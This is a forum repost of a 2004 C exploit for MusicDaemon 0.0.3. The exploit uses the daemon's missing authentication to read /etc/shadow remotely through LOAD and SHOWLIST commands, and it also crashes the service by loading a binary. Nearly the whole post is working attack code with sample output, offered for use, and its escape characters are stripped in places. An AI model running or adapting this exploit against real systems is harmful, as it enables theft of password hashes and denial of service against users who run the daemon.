发新话题
打印

MusicDaemon <= 0.0.3 v2 Remote DoS and /etc/shadow Stealer

MusicDaemon <= 0.0.3 v2 Remote DoS and /etc/shadow Stealer

文章作者:Tal0n 05-22-04
复制内容到剪贴板
代码:
/* MusicDaemon <= 0.0.3 v2 Remote /etc/shadow Stealer / DoS
* Vulnerability discovered by: Tal0n 05-22-04
* Exploit code by: Tal0n 05-22-04
*
* Greets to: atomix, vile, ttl, foxtrot, uberuser, d4rkgr3y, blinded, wsxz,
* serinth, phreaked, h3x4gr4m, xaxisx, hex, phawnky, brotroxer, xires,
* bsdaemon, r4t, mal0, drug5t0r3, skilar, lostbyte, peanuter, and over_g
*
* MusicDaemon MUST be running as root, which it does by default anyways.
* Tested on Slackware 9 and Redhat 9, but should work generically since the
* nature of this vulnerability doesn&#39;t require
* shellcode or return addresses.
*
*
* Client Side View:
*
* root@vortex:~/test# ./md-xplv2 127.0.0.1 1234 shadow
*
* MusicDaemon <= 0.0.3 Remote /etc/shadow Stealer
*
* Connected to 127.0.0.1:1234...
* Sending exploit data...
*
* <*** /etc/shadow file from 127.0.0.1 ***>
*
* Hello
* <snipped for privacy>
* ......
* bin:*:9797:0:::::
* ftp:*:9797:0:::::
* sshd:*:9797:0:::::
* ......
* </snipped for privacy>
*
* <*** End /etc/shadow file ***>
*
* root@vortex:~/test#
*
* Server Side View:
*
* root@vortex:~/test/musicdaemon-0.0.3/src# ./musicd -c ../musicd.conf -p  1234
* Using configuration: ../musicd.conf
* [Mon May 17 05:26:07 2004] cmd_set() called
* Binding to port 5555.
* [Mon May 17 05:26:07 2004] Message for nobody: VALUE: LISTEN-PORT=5555
* [Mon May 17 05:26:07 2004] cmd_modulescandir() called
* [Mon May 17 05:26:07 2004] cmd_modulescandir() called Binding to port 1234.
* [Mon May 17 05:26:11 2004] New connection!
* [Mon May 17 05:26:11 2004] cmd_load() called
* [Mon May 17 05:26:13 2004] cmd_show() called
* [Mon May 17 05:26:20 2004] Client lost.
*
*
* As you can see, it simply makes a connection, sends the commands, and
* leaves. MusicDaemon doesn&#39;t even log that new connection&#39;s IPs that I
* know of. Works very well, eh? :)
*
* The vulnerability is in where the is no authenciation for 1. For 2, it
* will let you "LOAD" any file on the box if you have the correct privledges,
* and by default, as I said before, it runs as root, unless you change the
* configuration file to make it run as a different user.
*
* After we "LOAD" the /etc/shadow file, we do a "SHOWLIST" so we can grab
* the contents of the actual file. You can subtitute any file you want in
* for /etc/shadow, I just coded it to grab it because it being such an
* important system file if you know what I mean ;).
*
* As for the DoS, if you "LOAD" any binary on the system, then use "SHOWLIST",
* it will crash music daemon.
*
*
*/
  
  
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
  
int main(int argc, char *argv[]) {
  
char buffer[16384];
  
char *xpldata1 = "LOAD /etc/shadowrn";
char *xpldata2 = "SHOWLISTrn";
char *xpldata3 = "CLEARrn";
char *dosdata1 = "LOAD /bin/catrn";
char *dosdata2 = "SHOWLISTrn";
char *dosdata3 = "CLEARrn";
  
int len1 = strlen(xpldata1);
int len2 = strlen(xpldata2);
int len3 = strlen(xpldata3);
int len4 = strlen(dosdata1);
int len5 = strlen(dosdata2);
int len6 = strlen(dosdata3);
  
if(argc !=  4) {
printf("nMusicDaemon <= 0.0.3 Remote /etc/shadow
Stealer / DoS");
printf("nDiscovered and Coded by: Tal0n
05-22-04n");
printf("nUsage: %s <host> <port> <option>n",
argv[0]);
printf("nOptions:");
printf("nttshadow - Steal /etc/shadow file");
printf("nttdos - DoS Music Daemonnn");
return 0; }
  
printf("nMusicDaemon <= 0.0.3 Remote /etc/shadow
Stealer / DoSnn");
  
int sock;
struct sockaddr_in remote;
  
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);
  
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("nError: Can&#39;t create socket!nn");
return -1; }
  
if(connect(sock,(struct sockaddr *)&remote,
sizeof(struct sockaddr)) < 0) {
printf("nError: Can&#39;t connect to %s:%s!nn",
argv[1], argv[2]);
return -1; }
  
printf("Connected to %s:%s...n", argv[1], argv[2]);
  
if(strcmp(argv[3], "dos") == 0) {
  
printf("Sending DoS data...n");
  
send(sock, dosdata1, len4, 0);
  
sleep(2);
  
send(sock, dosdata2, len5, 0);
  
sleep(2);
  
send(sock, dosdata3, len6, 0);
  
printf("nTarget %s DoS&#39;d!nn", argv[1]);
  
return 0; }
  
if(strcmp(argv[3], "shadow") == 0) {
  
printf("Sending exploit data...n");
  
send(sock, xpldata1, len1, 0);
  
sleep(2);
  
send(sock, xpldata2, len2, 0);
  
sleep(5);
  
printf("Done! Grabbing /etc/shadow...n");
  
memset(buffer, 0, sizeof(buffer));
read(sock, buffer, sizeof(buffer));
  
sleep(2);
  
printf("n<*** /etc/shadow file from %s ***>nn",
argv[1]);
printf("%s", buffer);
printf("n<*** End /etc/shadow file ***>nn");
  
send(sock, xpldata3, len3, 0);
  
sleep(1);
  
close(sock);
  
return 0; }
  
return 0; }

TOP

发新话题